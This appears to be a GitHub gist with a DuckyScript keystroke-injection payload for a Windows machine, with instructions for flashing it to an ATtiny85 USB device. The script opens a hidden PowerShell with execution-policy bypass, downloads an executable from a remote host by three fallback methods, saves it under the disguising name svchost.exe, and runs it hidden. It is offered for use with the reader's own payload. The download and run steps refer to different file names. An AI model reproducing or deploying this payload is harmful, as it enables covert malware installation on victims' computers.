Skip to content

Instantly share code, notes, and snippets.

@zr0n
Last active October 31, 2025 19:11
Show Gist options
  • Select an option

  • Save zr0n/88966dad762ca64ee0cae3486216e80b to your computer and use it in GitHub Desktop.

Select an option

Save zr0n/88966dad762ca64ee0cae3486216e80b to your computer and use it in GitHub Desktop.
Duck script for downloading a executable and executing it (on windows). By Ziron.

This script can download and execute a .exe in a windows machine.

After changing the url in the script above to download your payload, use this site to convert it for C++ format: https://duckify.spacehuhn.com/

Then install the dependencies for using AtTiny85 in Arduino IDE.

Copy the script from duckify to arduino IDE and upload it to your AtTiny85.

REM Substitua http://192.168.0.47/NiceGuy.exe pela url do seu payload (executavel)
DELAY 2000
GUI r
DELAY 500
STRING powershell -NoP -NonI -W Hidden -Exec Bypass "try { iwr 'http://192.168.0.47/NiceGuy.exe' -OutFile '$env:temp\svchost.exe' -UseBasicParsing } catch { try { (New-Object Net.WebClient).DownloadFile('http://192.168.0.47/NiceGuy.exe', '$env:temp\svchost.exe') } catch { Import-Module BitsTransfer; Start-BitsTransfer -Source 'http://192.168.0.47/NiceGuy.exe' -Destination '%TEMP%\Nice.exe' } }; Start-Process -WindowStyle Hidden '%TEMP%\Nice.exe'"
ENTER
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment